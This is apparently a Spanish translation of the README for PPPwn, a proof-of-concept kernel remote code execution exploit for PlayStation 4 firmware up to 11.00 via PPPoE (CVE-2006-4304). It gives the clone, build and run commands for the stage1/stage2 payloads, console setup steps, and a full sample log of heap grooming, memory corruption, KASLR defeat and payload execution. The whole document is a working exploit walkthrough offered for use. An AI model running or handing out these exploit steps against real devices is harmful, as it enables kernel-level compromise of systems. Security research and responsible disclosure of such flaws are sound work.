
PPPwn - PlayStation 4 PPPoE RCE
PPPwn es un exploit de ejecución remota de código en el kernel para PlayStation 4 hasta FW 11.00. Este es un exploit de prueba de concepto para CVE-2006-4304 que se informó de forma responsable a PlayStation.
Las versiones compatibles son:
El exploit solo imprime PPPwned en tu PS4 como prueba de concepto. Para poder lanzar Mira u otros habilitadores de homebrew similares, el payload stage2.bin debe adaptarse.
Bridged Adapter como adaptador de red para usar el puerto Ethernet en la VM.En tu computadora, clona el repositorio:
git clone --recursive https://github.com/TheOfficialFloW/PPPwn
Cambia al directorio del repositorio clonado:
cd PPPwn
Instala los requisitos:
sudo pip install -r requirements.txt
Compila los payloads:
make -C stage1 FW=1100 clean && make -C stage1 FW=1100
make -C stage2 FW=1100 clean && make -C stage2 FW=1100
Para otros firmwares, p. ej. FW 9.00, pasa FW=900.
NO EJECUTES el exploit todavía (no presiones Enter aún), pero prepara este comando en tu terminal (consulta ifconfig para la interfaz correcta):
sudo python3 pppwn.py --interface=enp0s3 --fw=1100
Para otros firmwares, p. ej. FW 9.00, pasa --fw=900.
En tu PS4:
Settings y luego a NetworkSet Up Internet connection y elige Use a LAN CableCustom y selecciona PPPoE para IP Address SettingsPPPoE User ID y PPPoE PasswordAutomatic para DNS Settings y MTU SettingsDo Not Use para Proxy ServerAhora, presiona simultáneamente el botón 'X' de tu mando en Test Internet Connection y 'Enter' en tu teclado (en la computadora donde tienes tu script Python listo para ejecutar).
Espera SIEMPRE a que la consola muestre el mensaje "Cannot connect to network: (NW-31274-7)" antes de intentar esta inyección PPPoE de nuevo.
Si el exploit falla o la PS4 se bloquea, puedes omitir la configuración de internet y simplemente hacer clic en Test Internet Connection. Mata el script pppwn.py y vuelve a ejecutarlo en tu computadora, y luego haz clic en Test Internet Connection en tu PS4: siempre de forma simultánea.
Si el exploit funciona, deberías ver una salida similar a la siguiente, y deberías ver Cannot connect to network. seguido de PPPwned impreso en tu PS4, o al revés.
[+] PPPwn - PlayStation 4 PPPoE RCE by theflow
[+] args: interface=enp0s3 fw=1100 stage1=stage1/stage1.bin stage2=stage2/stage2.bin
[+] STAGE 0: Initialization
[*] Waiting for PADI...
[+] pppoe_softc: 0xffffabd634beba00
[+] Target MAC: xx:xx:xx:xx:xx:xx
[+] Source MAC: 07:ba:be:34:d6:ab
[+] AC cookie length: 0x4e0
[*] Sending PADO...
[*] Waiting for PADR...
[*] Sending PADS...
[*] Waiting for LCP configure request...
[*] Sending LCP configure ACK...
[*] Sending LCP configure request...
[*] Waiting for LCP configure ACK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure NAK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure ACK...
[*] Sending IPCP configure request...
[*] Waiting for IPCP configure ACK...
[*] Waiting for interface to be ready...
[+] Target IPv6: fe80::2d9:d1ff:febc:83e4
[+] Heap grooming...done
[+] STAGE 1: Memory corruption
[+] Pinning to CPU 0...done
[*] Sending malicious LCP configure request...
[*] Waiting for LCP configure request...
[*] Sending LCP configure ACK...
[*] Sending LCP configure request...
[*] Waiting for LCP configure ACK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure NAK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure ACK...
[*] Sending IPCP configure request...
[*] Waiting for IPCP configure ACK...
[+] Scanning for corrupted object...found fe80::0fdf:4141:4141:4141
[+] STAGE 2: KASLR defeat
[*] Defeating KASLR...
[+] pppoe_softc_list: 0xffffffff884de578
[+] kaslr_offset: 0x3ffc000
[+] STAGE 3: Remote code execution
[*] Sending LCP terminate request...
[*] Waiting for PADI...
[+] pppoe_softc: 0xffffabd634beba00
[+] Target MAC: xx:xx:xx:xx:xx:xx
[+] Source MAC: 97:df:ea:86:ff:ff
[+] AC cookie length: 0x511
[*] Sending PADO...
[*] Waiting for PADR...
[*] Sending PADS...
[*] Triggering code execution...
[*] Waiting for stage1 to resume...
[*] Sending PADT...
[*] Waiting for PADI...
[+] pppoe_softc: 0xffffabd634be9200
[+] Target MAC: xx:xx:xx:xx:xx:xx
[+] AC cookie length: 0x0
[*] Sending PADO...
[*] Waiting for PADR...
[*] Sending PADS...
[*] Waiting for LCP configure request...
[*] Sending LCP configure ACK...
[*] Sending LCP configure request...
[*] Waiting for LCP configure ACK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure NAK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure ACK...
[*] Sending IPCP configure request...
[*] Waiting for IPCP configure ACK...
[+] STAGE 4: Arbitrary payload execution
[*] Sending stage2 payload...
[+] Done!
El código no compila en Apple Silicon y requiere arquitectura AMD64.
Existe una solución usando docker que generará los archivos bin necesarios.
Clona este repositorio en tu sistema Mac y, desde la carpeta del repositorio, ejecuta ./build-macarm.sh. Esto compilará los binarios para PS4 FW 1100 y colocará los archivos necesarios en las carpetas correctas. Para compilar los binarios para una versión diferente, p. ej. 900, ejecuta el comando así: ./build-macarm.sh 900. Una vez compilados, copia esta estructura de carpetas en la VM Linux y ejecuta según las instrucciones anteriores.
Esto ha sido probado con VMware Fusion 13.5.1, con la VM invitada como Ubuntu 24.04, y el host es MacOS 14.4.1.